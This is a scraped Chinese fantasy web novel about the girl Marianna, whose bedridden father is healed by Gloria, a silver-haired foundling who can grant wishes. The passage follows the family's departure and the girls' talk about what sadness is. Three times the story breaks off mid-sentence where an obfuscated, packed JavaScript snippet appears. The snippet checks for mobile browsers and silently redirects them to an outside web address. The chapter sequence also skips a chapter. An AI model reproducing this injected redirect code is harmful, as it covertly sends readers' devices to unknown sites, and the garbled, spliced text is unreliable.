《成为一个“人”要多久》 1. 第 1 章 你好，格洛瑞亚 玛莉安娜今年十二岁了。 这也是她们一家人搬来这个边境小镇的第五年了。玛莉安娜从一个背起背篓都费力的孩子，长成了可以自己去小镇中心买药的少女。 玛莉安娜拿着药回家，毫不意外地看见了隔壁的特林夫人出现在了家里。 特林夫人作为小镇里有名的治疗师，据说是从中央王国的学院里毕业的优秀毕业生，跟随王国驻军来到了这个小镇。玛莉安娜偶尔忍不住会想，如果连特林夫人都治不好父亲，是不是就没有任何希望了。 “乌忒娜！你真的要好好考虑了！”据说特林夫人有着一点兽人血统，说话总是声音很大。不过也可能因为这点血统，她总是这样好心肠。 “乌忒娜！”特林夫人看见玛莉安娜回来，努力控制着自己放低音量，“乌忒娜，塔里先生的情况，不是我们这些人能治好的了！虽然……虽然我确实是不信这些……” “无论如何，唯一的机会就是那个利威家捡来的……谁知道是个什么东西……”特林夫人脸色微变，还是继续说了下去，“我知道这不是很能相信，但是老克林家的孩子真的被治好了……” 玛莉安娜从进门开始一言不发，她能感觉到房间内的气氛逐渐凝固。这已经是不知道第几次听特林夫人这么说了。老克林家的孩子确实是“病”了很久，也确实是在上个月突然健康地出现在了所有人眼前。 “……”塔里夫人，玛莉安娜的母亲，被特林夫人直呼本名的乌忒娜沉默着，半晌终于吐出一口气。 房间内的气氛好转，特林夫人也跟着吐出一口气，拍拍乌忒娜的肩膀，又摸了摸玛莉安娜的脸蛋，转身离开了塔里家。 玛莉安娜依旧沉默着，跟在母亲身后收拾家里，做饭，吃饭。在晚上沉默着爬上了自己的小床。 “玛莉安娜，晚安。” 乌忒娜像往常一样亲吻玛莉安娜的额头，又被玛莉安娜回亲在脸颊。 玛莉安娜看着母亲离开自己的房间，往常应该很快被熄灭的灯光执着地门缝透过来，门外有母亲刻意放轻的脚步声。 玛莉安娜看着门缝透过来的光，有些睡不着。她还太小，不明白为什么母亲为什么常年愁眉不展，也不懂为什么每一个来家里做客的邻居看见她都会发出一声叹息。 就像她不知道这晚家里的灯亮到了天明，母亲找出了家里所有钱财珠宝，一点、一点地清点好，犹豫再三还是留出来一些仔细放好。 玛莉安娜只知道母亲翻出了她们最好的衣裳，又让她和仍然卧床不起的父亲见了面，在阳光最好的时候，带着她离开了家。 玛莉安娜认识这条路。通往小镇中心的居民区。住在那里的利威家据说在前不久捡来了一个能“创造神迹”的女孩。玛莉安娜不太相信，神明据说已经死在了千百年前的神战中，多数神殿和神仆已经在近千年的时光里逐渐消逝了。 但是……但是老克林家的孩子确实被治好了，玛莉安娜到现在也记得老克林当时拉着那个孩子走出来的样子。 老克林满脸欣喜若狂，用着这辈子最大的声音嚷嚷着利威家收了他多少钱，那个女孩又是怎么样治好了他的孩子。老克林就那样嚷嚷着，嚷了几乎半个月，让利威家彻底出了名。 玛莉安娜偶尔会回忆起当时老克林激动的样子，总觉得老克林的表现不只是惊喜或者激动。 玛莉安娜总觉得，老克林在害怕。 是那种见到了根本不可能出现的事物，从身体内部透漏出的、无法掩饰的、她还理解不了的恐惧。 “……玛莉安娜。”母亲的轻声呼唤叫回了已经神游的玛莉安娜。 乌忒娜站在对玛莉安娜来说高的过分的大门前，慢慢蹲下身来。 “玛莉安娜，我的小天使。”作为母亲的乌忒娜是那样温柔。玛莉安娜习惯地想投入母亲的怀抱，被母亲抢先一步按住双臂。母女二人对视着，玛莉安娜看得出来母亲的紧张。 “玛莉安娜，答应我。无论一会儿发生什么，你都要回家，好吗？” 十岁的玛莉安娜听得懂，母亲在告别。母亲在为即将到来的某种结局，决定付出什么。 “我会的，妈妈。” 玛莉安娜从来不会拒绝母亲的请求。她明白母亲对她的尊重，对她的教育，对她的爱。 “一会儿进去之后，不要随便乱看，不要回答问题，不要接过来任何东西。”母亲犹豫了一下，反复抚平玛莉安娜略微褶皱的衣领，下定了决心一般将玛莉安娜抱进怀里。 “玛莉安娜。无论如何。一定要回家。” 说完，乌忒娜站起身，深深地吸气、呼气，又吸气、呼气，仿佛鼓足了这辈子的勇气，敲响了禁闭的大门。 利威家的管家打开门，盛气凌人地看了一眼门口的母女，不紧不慢地开口。 “小姐已经说了，今天有贵客到访。” 话音刚落，玛莉安娜感觉母亲抓着自己的手紧了几分。 “二位，请进。” 大门被管家拉开，而乌忒娜几乎被管家话语中透露的信息夺去呼吸。管家口中的“小姐”，提前知道了她们会来。这意味着这位“小姐”和利威一家掌握着所有的主动权。 非常不利的情况。乌忒娜紧紧抓住玛莉安娜的手，又想到了至今卧床不起的丈夫，强迫自己冷静下来跟着管家走进了一栋小楼。 小楼还带着刚刚建好的痕迹，内里的装修一尘不染，一位神情慈祥的婆婆站在客厅中央迎接了惴惴不安的母女二人。 “日安。”婆婆向管家点点头，又对着玛莉安娜母女微笑致意。 “小姐和老爷一直在祷告室等待二位。”婆婆带着玛莉安娜母女推开祷告室的门，示意她们可以进去了。 玛莉安娜跟在母亲身后走进去，首先注意到的是站在窗边的女孩。 ‘是精灵吗？’ 玛莉安娜屏住呼吸，来不及感慨女孩在阳光下愈发闪耀的银发和剔透的浅紫色眼眸，就更紧张地看着女孩的视线扫过母亲，直直的看向她。 “塔里夫人，日安。”坐在阴影里的男人打断了两个女孩的对视，于是窗边的女孩继续看向远处的雪山，玛莉安娜看看母亲僵硬的脸色，又看着利威老爷不耐烦地点点头，示意玛莉安娜的母亲可以表明来意了。 “日安，利威老爷。”玛莉安娜被母亲带着鞠躬，她听着母亲一字一句、言辞恳切地请求着面前的男人，请求他能让“神迹”降临在父亲身上。 利威一言不发地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383190|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听着眼前的女人的再三请求，屋内的空气逐渐凝固。玛莉安娜看着眼前的利威老爷，低头紧紧地握住母亲的手，又被母亲更紧地反握住。 “塔瑞娜。” “我希望你能做到答应我的事情。”利威看向窗边的女孩。‘塔瑞娜’仍然保持着原本的姿势，看着远处的雪山，一言不发。 “你最好是能做到。我可不觉得现在的‘塔里夫人’还能拿得出来让我满意的报酬。” 没得到女孩的回应，利威看起来被气坏了，他气冲冲地离开了祷告室，没有再看玛莉安娜母女第二眼。 “……日安，利威小姐。”乌忒娜闭了闭眼，向已经看过来的塔瑞娜尽力微笑致意。 “我是格洛瑞亚。”女孩的第一句话是对着玛莉安娜很认真的自我介绍。 玛莉安娜看着那个“精灵”凑近自己，脑中一片空白，她唯一的反应就是拉住母亲的手，向母亲的身后躲去。 “日安，格洛瑞亚小姐。”乌忒娜反应飞快地挡住自己的女儿，再次向面前的女孩微笑。 “日安，乌忒娜·塔里。”格洛瑞亚终于把视线转向面前的女人，气都不喘地继续说，“我知道你为什么来找我。你和你的丈夫在学院学习的时候认识，毕业后结婚并加入了驻外兵团。五年又四个月前，因为团长指挥不当，你的丈夫受伤。虽然当时及时治好了外伤，但是他作为一个普通人类，魔法本源被伤到了才是至今为止他还在昏迷的原因。” 全对。乌忒娜心底略微发沉，这意味着眼前这个女孩的本事比她想象中还大。毕竟刚才气冲冲地冲出去的利威可不知道这些。当然，整个小镇也没几个人知道塔里家的过往。 不然利威应当更仔细些，能当上佣兵的人可不是什么善茬。 “很简单就能治好他，利威的报酬我可以替你付，但是我也要报酬。” 格洛瑞亚认真地看向乌忒娜。 “我要玛莉安娜和我做朋友。” 乌忒娜笑了。真心实意地笑了。 “我可以选择支付利威要的报酬。也可以选择在你治好我的丈夫之后，干脆一点帮你杀掉利威一家。”乌忒娜终于展现出了一点在军团磨砺过的危险性，“请你离我的女儿远一点。” 格洛瑞亚同样异常笃定，面无表情地直视乌忒娜的蓝眼睛，“命运指引着我来到这里，玛莉安娜会是我的朋友。” “格洛瑞亚。”在两人对峙的时候，接待玛莉安娜母女的婆婆打破了屋内的沉闷气氛。 “德里纳夫人。”格洛瑞亚迎上去，看上去倒是比对利威亲近的多。 “格洛瑞亚，交朋友要表达你的友善，你们要相互选择。”德里纳夫人牵住格洛瑞亚垂在身侧的手，又向仍然躲在母亲身后的玛莉安娜招招手。 “塔里夫人，非常抱歉，格洛瑞亚不是有意的。”德里纳夫人看玛莉安娜没动，转向已经面色不善的乌忒娜，认真解释，“格洛瑞亚没有朋友，也没有人教过她怎么交朋友。‘格洛瑞亚’是我给她取的名字，她是利威老爷和利威夫人从‘那片雪山’捡回来的孩子，没有接受过正确的教育。” “妈妈。”长久的对峙中，玛莉安娜终于从母亲的身后探出头来，“妈妈，我想……和她说几句话。” 3. 第 3 章 看，新生活 乌忒娜跟着德里纳夫人走出利威家，几乎掩饰不住想要飞奔回家的急迫心情。可是她要克制，再克制。乌忒娜在心底暗暗地对自己说。 老克林愚蠢地让整个小镇的人都知道他的孩子好起来了，浮于表面的快乐冲昏了他的头，他感觉不到周围人已经开始对他逐渐排斥，整个小镇开始对他们一家保持距离。所以在离开这个小镇之前，乌忒娜觉得还是低调一些比较好。 和乌忒娜的喜忧参半不同，被母亲牵着手、走在回家的路上的玛莉安娜觉得今天相当愉快。她觉得她很厉害。格洛瑞亚作为她的朋友答应“治好”父亲，那么就是她帮母亲做到了很困难的一件事，这让她心里得到了很大满足。 也许是两个人都归心似箭，脚步不禁愈发快起来。乌忒娜一时间要思考太多事情，心乱如麻，特林夫人在自己家的小院子里和她打招呼，她也完全没注意到。 特林夫人看着急匆匆冲进屋内的塔里母女连门都没关好，脚步轻快地凑到了塔里家的门口。只想着帮忙关好门的她却看见了永生难忘的一幕。 已经长年昏迷、卧床不起的塔里先生站在客厅里，在如此美好的阳光下，紧紧拥抱了他的妻女。 乌忒娜和玛莉安娜同样紧紧回拥这个男人，特林夫人在他身上看不出一丝卧床五年之久的虚弱。 “很高兴认识您，特林夫人。”在特林夫人为眼前的一幕惊讶到忘记动作时，刚刚清醒不久的塔里先生已经放开了乌忒娜和玛莉安娜，来到了她眼前。 “哦……哦哦……”特林夫人面色茫然地回应他，很难理解前一天还被她“治疗”的病人如此活蹦乱跳地出现在眼前，“……你好，塔里先生，真开心你现在……哦，你看起来真健康啊……” “哈哈，是的，我已经健康起来了。”塔里先生似乎很开朗，或者说过分地适应了如此诡异的场面。他看起来非常游刃有余。 塔里先生很快就收起那样轻松的表情，认真地看向脸色愈发惊疑不定的特林夫人。 “我是斯顿艾斯·塔里，郑重感谢您这些年对我们一家的帮助。”塔里先生右手握拳敲在心口处，郑重地向特林夫人行骑士礼。 “……斯顿艾斯，不不，我是说塔里先生，好的……哦……我是说，没关系……”特林夫人手忙脚乱地回礼，焦急的看向乌忒娜。 乌忒娜也“恰巧”地收拾好了自己和玛莉安娜的眼泪，闪电般出手抓住丈夫的衣服后领把人拉了回来。 虽然很不合时宜，但是特林夫人看着眼前这一幕有些想笑。乌忒娜的身材无论放在哪个种族里都能称得上一句娇小，她的丈夫，眼前龇牙咧嘴请求老婆大人放过自己衣领的塔里先生倒是高大的很，比拥有着兽人血统的特林夫人还要高出半个头左右。 “好了，斯特。这是特林夫人。”乌忒娜毫不客气地抓着丈夫站直，介绍着今天也选择热心上门帮忙的朋友。 “柯特·安尼特·特林。”特林夫人补充道，“我是这个小镇里离你们家最近的治疗师。” “我说过了，斯特。别再行你那个坚持了十几年的骑士礼了。”乌忒娜拉着丈夫让开了门口好让特林夫人进来，两人在特林夫人身后低声交谈。 “是是是，但是你也说了，已经十几年了嘛……” “需要我再提醒你一遍，你最后选择的职业是法师吗？” 哦，法师。长这么高的男性我以为都会是战士？特林夫人就当听不见两夫妻的交流，看着玛莉安娜乖巧地拿出招待客人的茶水和饼干，暗暗腹诽。 玛莉安娜看着父母和特林夫人落座，刚想一起坐下，就看见母亲对她摆手，示意她回自己的房间去。 玛莉安娜不服气地和母亲对视，她才刚刚见到醒来的父亲，根本不想让自己再次离开父母的视线。 “玛莉安娜，向光明神保证，我们一会就会去找你。”斯顿艾斯·塔里温柔地抚摸着自己多年未见的女儿的脸蛋，亲昵地和女儿贴了贴额头。 “……好的。”玛莉安娜满脸写着不情愿地向三个大人道别，又在楼梯口停顿了一下，跑了回去。 “那个……格洛瑞亚给了我这个东西。”玛莉安娜路上一直攥紧了的、在拥抱自己的父亲时也没有松开的右手，此时大咧咧地摊开在三个大人眼前。 一块烟灰色、通体透明的宝石出现在玛莉安娜手中，特林夫人倒抽一口气，塔里夫妻沉默不语。 玛莉安娜把这块小石头放在父母眼前的桌面上，“嗒嗒嗒”地跑回了自己的房间。 “那个……格洛瑞亚……”特林夫人含混地念出这个第一次听到的名字，好像不清楚的话语能让她稍稍安心一些，乌忒娜逐渐阴沉下来的脸让桌边的另外两人愈发严肃，“就是那个利威家的……？” 乌忒娜点点头，详细地讲述了今天一天的经历。即使是生活在充斥着魔法与奇迹的世界，今天的种种遭遇也值得她感慨一句太过离奇。 . 另一边，利威家的小楼里，格洛瑞亚在和玛莉安娜道别后始终看着窗外，德里纳夫人送走了塔里母女，安安静静地走回这栋小楼，继续安安静静的看着格洛瑞亚蜷缩在高高的窗台上发呆。 格洛瑞亚看着窗外，大好的阳光让一切事物的色彩都鲜艳起来，于是她不再长久地望向远方被层层事物遮挡后只露出一角的雪山，而是难得的欣赏起被精心打理的草坪和刻意修剪过枝条的鲜花，半晌终于转向德里纳夫人。 德里纳夫人从容的对视上格洛瑞亚的视线。今年已经是她陪伴在女孩身边的第五年了。她还记得现在的利威老爷在十年前把这个女孩带回来时的样子。当时的她站在门外不远处，当年的一切在脑海中简直称得上一句记忆犹新。 满身干涸血迹、尚且年轻的古拉德·利威带着他同样尚且年轻的妻子，怀里抱着当年看起来只有两三岁的格洛瑞亚冲进了家门，神情是近乎癫狂的喜悦。他的妻子也是同样疯狂的神色。 “我们捡到了……一个神迹！”古拉德·利威向当年还在世的老利威先生像展示物品一样摆弄着怀里的女孩，“我们在神战过后遗留下的雪山里找到了她！她救了我！我本来要死了！她出现了！就像……就像……就像一个神迹！！！” 德里纳夫人当时站在老利威先生身后，看着那个女孩挣脱利威先生越抓越紧的手，站在了老利威先生眼前。 她没再听清接下来的任何交谈了，老利威先生让所有人都离开了。从那天起，一个名为“塔瑞娜·利威”的女孩成为了这个家的新成员，利威家甚至为她特意建造了一座小楼，从此利威家开始秘密的发财。 无论是原本利威家和神殿的合作，还是哪一次跟随探险队出发寻宝，利威家的人总是能得到他们想要的财富与回报。利威先生更是偷偷向各处传递这位“神迹”能满足所有愿望的消息。只需要能付出利威家要求的钱财，一切都能实现。 德里纳夫人活了很久。作为一个羽兽兽人与人类的混血，她的寿命已经长于很多普通人类。在她还很年轻的时候，利威家就雇佣了她作为年轻子女初步接触魔法与战斗的教导者。她在利威家生活了很久，久到哪怕是当年的利威老爷，她也可以说一句是看着他长大的。 这或许就是为什么老利威老爷离世前，一定要她来“照顾”这位“塔瑞娜·利威”的原因。而十年过后的今天，这位“塔瑞娜·利威”早已将自己的名字改成了“格洛瑞亚”，选择去过更自由的人生。 两人沉默对视良久，德里纳夫人终于是放弃了继续沉默下去。 “利威先生已经决定下个月就离开这里，你给他指了一条坎坷的财富之路。” “财富是他，或者说他们永生的追求。于是他们祈求，他们许愿，他们追逐。”格洛瑞亚轻盈地从窗台上跳下来，在半空中用魔力构筑出一道道宛如流星的光芒，“这是他们自己的选择。” “命运曾在我耳畔窃窃私语，梦境让我得以窥见世界的边际。” “这个世界上据说再无神明，我却被推上名为‘神迹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383192|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ’的高台。有人祈求财富，有人渴望健康。世人都有所求，我能听见他们心底的愿望。” “那么，你的愿望是什么呢？” 格洛瑞亚仿佛在梦中和她对话，声音轻到近乎耳语。 “玛莉安娜的祈求共振了命运的河流，于是未来向我展开了模糊的一角。” “我们此生不会再相见了。” 格洛瑞亚仿佛在吟唱诗歌，她伸出手拉住德里纳夫人，用额头贴近她已经粗糙的双手。 “我送你一个愿望。” “你会有无病无灾的‘以后’。” . 乌忒娜处理好“塔里先生重新健康地出现在人前”这件事时，已经过去了二十天。这二十天里她们请特林夫人每日上门做样子地“治疗”塔里先生，又暗地借特林夫人的嘴传播“塔里先生在一年前就已经清醒过来，只不过一直在修养，最近终于彻底好起来了”的消息，虽然还是太过于突然，不过塔里一家三口已经决定在不久后搬离这个小镇，这样做只是为了不太惹眼。更别说…… 乌忒娜看着三天前不请自来出现在家门口的格洛瑞亚，暗地里和丈夫感慨这辈子真是经常有一些过于莫名其妙的经历。 玛莉安娜倒是很开心，那块漂亮的宝石被穿成了吊坠现在就挂在她的胸前。在这三天时间里，格洛瑞亚几乎对她有求必应。 玛莉安娜觉得没有比现在更快乐的时候了。父亲重新健康的站在她面前，母亲也终于不再每天跟着特林夫人对着魔法药剂的书本死磕。她快乐的带着格洛瑞亚跑遍了整个小镇里所有她觉得有趣的地方，终于在今天早上被看不下去的乌忒娜喊了停。 “玛莉安娜，去收拾你的东西，我们很快就要搬家了。”斯顿艾斯·塔里先生面对长大了的女儿，飞快地重新适应了父亲的身份，“我们有些话想和格洛瑞亚聊一聊。” 玛莉安娜愉快的答应了父亲，她对于突然的搬家接受良好。更别提乌忒娜告诉她，格洛瑞亚会和她一起入学目的地的魔法学院。 “还没有正式的自我介绍过，我是斯顿艾斯·塔里。”格洛瑞亚落座在更能看清窗外的那侧桌边，看着高大的男人半蹲下来，向她行礼，“感谢您对我的帮助。我是如此幸运的得到了命运的眷顾，还能醒过来陪伴着乌忒娜和玛莉安娜。” “格洛瑞亚，没有姓氏。”格洛瑞亚接受了这看起来过于庄重又过于迟来的问候与感谢，站在一旁的乌忒娜看着这和谐的一幕，在心底暗暗告诫自己要平常心面对格洛瑞亚。 “那么，接下来。”三个人很快整理好了不必要的繁文缛节，乌忒娜开启了最重要的一个话题，“我们当然感谢你的帮助，格洛瑞亚。但是你也应该明白，我们只是普通人，哪怕一点差错都可能会要了我们的命。” 乌忒娜很担心，格洛瑞亚的力量如果被过分宣扬，哪怕是“魔法天才”的伪装也挡不住有心者的窥探。 “这些事情还请放心。”格洛瑞亚平静的回应了乌忒娜的担忧，“利威家的人不会再对我有清楚的印象，他们只会记得他们要去求财。而德里纳夫人的话……” “她会拥有一个美好的晚年生活。” “代价会是她永远不会再想起我。” “你不会觉得……难过吗？我是说，毕竟德里纳夫人……一直和你生活在一起？”乌忒娜很震惊格洛瑞亚的轻描淡写，她觉得格洛瑞亚的行为和情绪完全异于常人。 乌忒娜没有再问下去，玛莉安娜快乐的抱着一本魔法书冲下了楼，把书摆在了格洛瑞亚面前。 “瑞尔，看这个！这个魔法的原理我看不懂！你说我们要去的学院是不是会教这些？我跟不上课程怎么办？光明神在上，我好期待我们一起上学！” 玛莉安娜的快乐能感染所有人。格洛瑞亚也不例外。 “这个原理不难，你要想象的更夸张一点，效果会更好。”格洛瑞亚慢悠悠的回应玛莉安娜和乌忒娜，“我也很期待。” “新的生活。” 4. 第 4 章 出发，目标王都 这已经是格洛瑞亚来到塔里家的第十五天了。 已经很晚了，乌忒娜已经催了几遍玛莉安娜快上楼睡觉。就在明天，塔里家要带着格洛瑞亚前往王都的附属城市。在那里，曾经驻外兵团的朋友已经帮他们收拾好了曾经的住所，同样远离中心居民区不引人注意，也方便玛莉安娜和格洛瑞亚进入王都的魔法学院学习。 格洛瑞亚很平静的接受了塔里家要迅速离开的事实，甚至还有空闲时间帮乌忒娜清点好了绝大部分要带走的东西。当然，她本来也只带了一件行李出现，都不用再多收拾，一时间成了四个人里最清闲的那个。 玛莉安娜的兴奋劲已经在这十几天内逐渐褪去了，她现在一想到即将到来的新生活，反而有点紧张。 “格洛瑞亚！瑞尔！”玛莉安娜翻来覆去的，还是从床上爬起来，坐在了格洛瑞亚临时在她房间铺好的地铺上。 “我睡不着！明天我们就要出发去那个……”玛莉安娜嘴里飞快的掠过那个城市名，伸手抓起一把格洛瑞亚的长发，“要是那个地方不好怎么办？我们还要去上学，你说那些已经在学习的会不会不喜欢我们？” 玛莉安娜忧心忡忡，几乎把能想到的坏事都想了一遍，她几乎没办法不去想这些事情，原本的快乐逐渐变成了控制不住的担心。 “没关系，不会有人敢欺负你的。”格洛瑞亚被抓着一缕头发，索性也不着急起身，就躺在被窝里看着玛莉安娜皱巴巴的脸，很认真的说。 “如果真的有人欺负你，你就许愿让他‘消失’。我可以帮你……” “可以了瑞尔！”玛莉安娜慌慌张张的捂住格洛瑞亚的嘴，仔细听了听门外的动静。没有脚步声，乌忒娜没来。玛莉安娜松了口气。 “妈妈不让我随便和你说‘许愿’！”玛莉安娜看格洛瑞亚躺着，干脆也在地铺上躺下，“妈妈说你和我们都不一样。爸爸也要我在和你玩的时候注意说话的细节。” “瑞尔，为什么呀？你明明这么好，为什么爸爸妈妈一定要小心翼翼的对你？”玛莉安娜对着眼前的空气猛戳，气哼哼的说。 “……我确实在他们眼里应该是不一样的。”格洛瑞亚对着玛莉安娜的时候总是很有耐心，“乌忒娜那天问我，德里纳夫人就这样离开，我是什么感受。” “她问我，不觉得悲伤吗？” 玛莉安娜直觉有什么秘密在破土而出，但是格洛瑞亚平静的好像在谈论今天的天气不怎么样。 “为什么要悲伤？” . “为什么不会悲伤？！”玛莉安娜困惑又激动的从被子里弹出来，“我离开之前的家来到这个小镇的时候，我会觉得很悲伤；现在让我离开这个小镇，我也会觉得很悲伤；一想到之后可能不会再见到特林夫人，我也觉得很悲伤！” “人就是……会因为要离开家或者是，离开朋友什么的，会悲伤啊！” 格洛瑞亚平静的看着突然激动的玛莉安娜，听见有脚步声从门外传来。 “玛莉安娜，你在说话吗？”隔着房门，乌忒娜的声音不大清楚，“你们该睡觉了，明天要启程去新家的。” “我们会的，玛莉安娜有点紧张，请不用担心。”格洛瑞亚平稳的回答。 “……好吧，早点休息。”乌忒娜很快回去了，玛莉安娜也已经爬回了自己的床上。 “不继续聊天了吗？”格洛瑞亚看着床上鼓起的一团被子，坐起身轻轻拍了拍。 “你让我……让我再想一想！”玛莉安娜尽量小声的尖叫，裹着被子滚来滚去，“我觉得……这不对，但是，但是……总之！你先睡觉啦！” “好吧。”格洛瑞亚钻回被子里闭上眼睛，“玛莉安娜，晚安。” “晚安，格洛瑞亚。” 玛莉安娜在被子里闷闷的回应。 . 第二天一大早，乌忒娜推着两个女孩清点好了每个房间里的各种角落，确保没有被落下的东西。塔里先生则是在门口将行李一件件添加上防盗魔法顺便再加固一些，当他清点完毕，乌忒娜也带着两个女孩走出这个生活了五年的“家”。 “特林夫人会帮我们卖掉这个房子。”乌忒娜回头看着这栋承载着五年回忆的房子，无端生出些伤感，“玛莉安娜，要说句再见吗？” “……好吧。”玛莉安娜嘟嘟囔囔的说着这么做有点幼稚，还是在转身离开前低声告别了这栋房子。 伤感的气氛突然蔓延开，好在塔里先生有在非常努力的调节气氛。 “我可对这个‘家’不太熟，不过这个‘家’一定会被我记住一辈子。我们在这里可是遇见‘神迹’了呢。” 斯顿艾斯·塔里真的是一个很乐观积极的人，这也让玛莉安娜看起来更像是他和乌忒娜亲生的孩子。玛莉安娜永远热情洋溢，格洛瑞亚对此接受良好。 乌忒娜悄悄掐住自己丈夫的手臂，趁着格洛瑞亚调整衣袖的绑带、玛莉安娜研究眼前的马车的空挡，在丈夫耳边说悄悄话。 “我觉得玛莉安娜和格洛瑞亚吵架了。整个早上玛莉安娜都在躲着格洛瑞亚走。” 格洛瑞亚系好了衣袖的绑带，看了塔里夫妻一眼，跟在玛莉安娜身后上了马车。 乌忒娜和斯顿艾斯对视一眼，决定把这件事情交给玛莉安娜和格洛瑞亚自己解决。反正两辆马车，两个女孩坐一起，路上总会有一个人忍不住想要聊天的。 . “玛莉安娜，你今天不想聊天了吗？”格洛瑞亚看着从坐上马车就固执的看着窗外的玛莉安娜，想了想昨晚被乌忒娜打断的话题，还是决定和玛莉安娜继续讨论。 “……”玛莉安娜沉默的看着马车外不断掠过的景色，拒绝开口。 “来吧，告诉我你昨天为什么那么激动？”格洛瑞亚回忆了一下这几天见到乌忒娜与斯顿艾斯和玛莉安娜玩时候的语气，决定模仿一下。 “瑞尔是……瑞尔……”玛莉安娜气哼哼的转回身，努力思考着要对这位不请自来、昨天晚上刚刚产生了不同意见的朋友做出一个合适的评价。 “我是？我是什么？”格洛瑞亚看着玛莉安娜又一次红起来的脸，终于成功伸手戳了戳。 “瑞尔是大坏蛋！”玛莉安娜被戳了脸，忍不住脱口而出。 “我怎么了？说嘛，怎么不理我？”格洛瑞亚似乎决定现在的玛莉安娜很有趣，继续戳她的脸。 “玛莉安娜深呼吸，她觉得和格洛瑞亚聊这些简直能要了她的命。 “坐好，格洛瑞亚。“玛莉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15383193|168489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安娜故作严肃。 格洛瑞亚乖巧的并拢双腿，再把双手交叠放在大腿上，挺直脊背，略微低头，一系列动作行云流水，堪称标准礼仪行为的典范。 玛莉安娜深呼吸，再深呼吸。她觉得父亲母亲说得对，格洛瑞亚确实有点不一样。 格洛瑞亚假模假样的低着头，马车车厢里一时间只能听见玛莉安娜的呼吸声。 “瑞尔，如果，我是说，如果。”玛莉安娜尽力保持着严肃的表情面对格洛瑞亚。光明神在上，虽然她觉得这应该是比较严肃的话题，可是她面对格洛瑞亚时总是忍不住先笑一笑。 “如果今天我们就要分开了。以后也再也不见面了。瑞尔也不会悲伤吗？” 格洛瑞亚低着头，原本跟随着裙摆流畅的花纹打转的视线死死盯住一处。玛莉安娜的问题仿佛一记重锤，锤在了她的心口，让她整个人都愣在了原地。 格洛瑞亚从能听见玛莉安娜的祈求时，就在等待着相遇。她想过无数种顺从命运的线去到玛莉安娜身边的方法，从未想过这场遇见后的分别。 “……我不知道。”格洛瑞亚抬头对上玛莉安娜的视线，浅紫对着浅绿，一双眼睛满是迷茫，一双眼睛写满疑惑。 “我……和德里纳夫人，命运上的交叉点已经断掉了。”格洛瑞亚揪住裙摆，从没有想过的问题让迷茫与不解充斥着她的双眼，“我很早就知道会和德里纳夫人分开，我也很早就接受这次分别。而我看见我们的命运会延续到未来，我从未想过……，我没有想过这些……。这些所谓的情感，我只能感受它们和命运的共振。” “但是为什么？我想到可能会和玛莉安娜分开，会觉得不舒服？” “格洛瑞亚，你觉得哪里不舒服？”玛莉安娜却突然紧张起来，抓住格洛瑞亚的手焦急的询问。 格洛瑞亚轻轻挣脱玛莉安娜的手，慢慢在心口处拍了拍。 “这里。”格洛瑞亚很平静，或者说她好像永远能保持着这样一份诡异的平静，“好像突然空了一下。” 玛莉安娜松了一口气。笑了。 “这就是悲伤呀，瑞尔。” 玛莉安娜轻巧的从座位上起身，蹲在格洛瑞亚身前。 “悲伤的感觉有很多种的，有时候人会流泪，又有时候，人会连眼泪也流不出来。”这时的玛莉安娜看起来不再像是一个十几岁的女孩。或许这五年时间里，乌忒娜都没有发觉女儿的内心世界生长的如此之快。 “瑞尔，人是有感情的。”玛莉安娜看着格洛瑞亚仍然迷茫的神色，微笑着轻轻拍了拍格洛瑞亚的膝盖。 “我会因为父亲重新健康起来而感到惊喜；会因为母亲重新快乐起来而感到愉快；会因为离开这个小镇、离开在这里遇到的很多人而悲伤。” “我同样会因为遇见格洛瑞亚感到发自内心的快乐。” 格洛瑞亚看着面前特意凑近的玛莉安娜，又一次用手指戳在了玛莉安娜的脸颊上。 “你在笑。”格洛瑞亚轻柔的触碰着玛莉安娜，仿佛在抚摸一件脆弱的珍宝。 “所以这就是你们感到快乐的表现吗？” 格洛瑞亚的声音很轻。 “我想是的。” 玛莉安娜同样轻声回答。 5. 第 5 章 来谈心吧 马车一路不停，终于在日落前赶到了最近的传送法阵前的营地。 “我们会在这里休息一晚，明天才会安排我们通过阵法传送到佐洛琳城。”乌忒娜看着两个女孩手牵手走到她面前，仔细介绍了一下临时改变的旅程安排。 另一边，斯顿艾斯已经准备点燃了火堆。昼夜温差太大，马车上有保温魔法倒是不用太担心，一会睡觉不怕着凉，在外面活动还是烤烤火比较舒服。 “佐洛琳城？”格洛瑞亚递出另一只手上拿着的锅具，斯顿艾斯接过准备大显身手，玛莉安娜倒是对这突然改变的行程发出了疑问。 